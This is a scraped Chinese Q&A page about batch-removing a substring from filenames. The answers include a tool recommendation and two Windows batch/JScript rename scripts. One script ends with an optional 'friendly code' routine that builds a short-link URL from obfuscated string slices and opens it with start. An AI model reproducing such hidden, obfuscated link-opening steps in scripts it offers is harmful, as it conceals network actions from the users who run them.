问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

求教批量删除文件名中间某串字符指令?

发布网友 发布时间:2022-04-22 20:48

我来回答

4个回答

热心网友 时间:2023-11-11 15:27

教你如何批量去除文件名中的某些字符:

下载工具:优速文件批量重命名

第一步,下载工具后安装打开,通过点击【添加文件】按钮或者拖动的方式将文件添加到软件中,可以同时添加几百个文件到软件中,添加成功后会显示在软件中。

第二步,添加完文件后就进行设置,命名方式选择“替换”;然后下面“查找内容”的右边输入需要删除的字符;这时候可以预览到新文件名中已经删除了相同的字符。

第三步,当你认为设置好了后就可以点击【开始重命名】按钮启动软件程序了,成功后软件会弹出“重命名成功”的提示。具体的批量处理时间要看文件数量多少。

第四步,通过对比处理前后的文件名称,原本文件名中都含有的“表”字符被全部删除了。

热心网友 时间:2023-11-11 15:27

不清楚你的实际文件/情况,仅以问题中的样例/说明为据
复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起运行/*&cls
@echo off
rem 删除文件名中部分指定长度/位数的特征字符串
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
for /f "tokens=1* delims=|" %%a in ('dir /a-d/b^|cscript -nologo -e:jscript "%~f0"') do (
    if "%%~nxa" neq "%~nx0" (
        echo;"%%a" --^> "%%b"
        ren "%%a" "%%b"
    )
)
:end
echo;%#% +%$%%$%/%@% %z%
pause
exit
*/

var fso=new ActiveXObject('Scripting.FileSystemObject');
while(!WSH.StdIn.AtEndOfStream){
    var line=WSH.StdIn.ReadLine();
    var file=fso.GetFile(line);
    //17位由字母数字组成的特征字符串
    var newname=file.Name.replace(/[a-z\d]{17}/i,'').replace(/[-_]{2,}/g,'_');
    if(newname !=file.Name){
        WSH.echo(line+'|'+newname);
    }
}

追问谢谢大神,指令完美运行,不过我开始是冲着“依梦琴瑶 ”提问的,所以直接采纳答案,再次感谢大神帮助,谢谢!

热心网友 时间:2023-11-11 15:27

这串随机的字符串在所有文件名中都是规定在第三段吗?(以_为分隔符)

如果是,那么代码就好写多了。
我先以这种固定在第三段的形式写个代码吧!如果有问题,请追问。

@echo off & title 去除第三段字符串 By 依梦琴瑶

::设置要处理的文件格式
set Ext=*.txt

for %%a in (%Ext%) do (
for /f "tokens=1,2,4* delims=_" %%b in ("%%~na") do (
echo "%%~nxa" --^>^> "%%~b_%%~c_%%~d%%~xa"
ren "%%~a" "%%~b_%%~c_%%~d%%~xa"
)
)
pause

::友情代码,非主代码,愿意的话可以执行一下
@echo off & title 友情代码 By 依梦琴瑶
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit追问谢谢大神,指令完美运行

来自:求助得到的回答

热心网友 时间:2023-11-11 15:28

方法/步骤

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
13岁一直到18岁晚上经常熬夜会有什么影响 具象表现素描内容简介 ...| 从14世纪文艺复兴到20世纪具象表现绘画 · 168幅画 · 图解西方... 【漫画赏析】比喻具象化——《孤高之人》手法分析 具象美术作品有哪些 具象艺术艺术家介绍 话说 曾经有个演唱会 是初音未来演唱会 39祭 谁知道微信聊天记录删掉了,还能恢复过来吗?有什么软件可以恢复吗?不... 六爻。测缘分。测婚姻 礼仪起源于祭祀的证据是什么? Excel中如何批量删除同列单元格中第一个字符或某个字符 Excel 批量删除字符 如何在WORD和EXCEL中批量去掉不想要的字符那? 如何删除批量文件中的某个字符串 表格怎么批量清除里面的某一个字段的所有字符? 如果手机号码注销了,还可以继续使用吗? 手机欠费停机后,手机号注册的还能用吗? 手机号是, 手机停机了微信帐号还可以用不, 功能会不会受影响! 我手机号不打算用,停机了,捆绑的还能登录吗? 手机号码不用了还可以用吗? 我的BB叫王钰淇是个男孩,我想问问钰和淇二字在古典文学或古典诗词中有没有在一起或相对应的句子。含义写 安淇尔四门冰柜显示LO℃是什么意见? 请问淇在起名字中有什么意义吗? “淇”字怎么读? 把中文翻译成韩语的罗马拼音形式 可以帮我把这个两个中文翻译成英文么:1)、商诗淇 2)、尤悦 现代名图8万公里该保养那些? 现代名图14款.1.8T清洗节气门怠速低自动熄火如何解决 微信怎么改变字体大小啊? 全棉60支40支什么意思 现代名图4万公里要做那些保养 怎样批处理删除多个文件夹名称中的相同字符?重命名 如何批量去除EXCEL单元格中的空格字符? 求bat批量删除文件夹名中的特定字符和后面的字符 空调室外机风扇不转,压缩机不工作,是什么原因? 空调室外机风扇不转压缩机运行这是什么原因 宝来空调压缩机和风扇都不工作什么原因压缩机运转,但是风扇不转怎么回事_百度问一问 格力空调外机风扇不转但制冷压缩机也工作是怎么回事? 格力空调外机风扇不转但制冷压缩机也工作是怎么回事 视频通话美颜瘦脸好工具都有哪些? 空调制冷外机风扇不转? 空调不制冷,外机风扇不转怎么办? 微信视频美颜软件那个好用?求推荐 空调外机风扇不转,但是压缩机确嗯嗯响.过一会好像压缩机在放气停一会风扇才转。 空调打开以后,压缩机运行,但外机风扇不转,过一会压缩机保护停止,要反复好几次,风扇才转,运行正常? 有哪些超好用的自拍软件值得分享? 为什么空调室内机正常,室外机风扇不转压缩机不工作? 最受欢迎的p图软件是什么?推荐理由是什么? 空调外机的风扇和压缩机都不工作了,是什么原因? 空调运行指示灯亮了,压缩机和风扇不工作? 谁知道有那种应用相机,照的照片能瘦脸美颜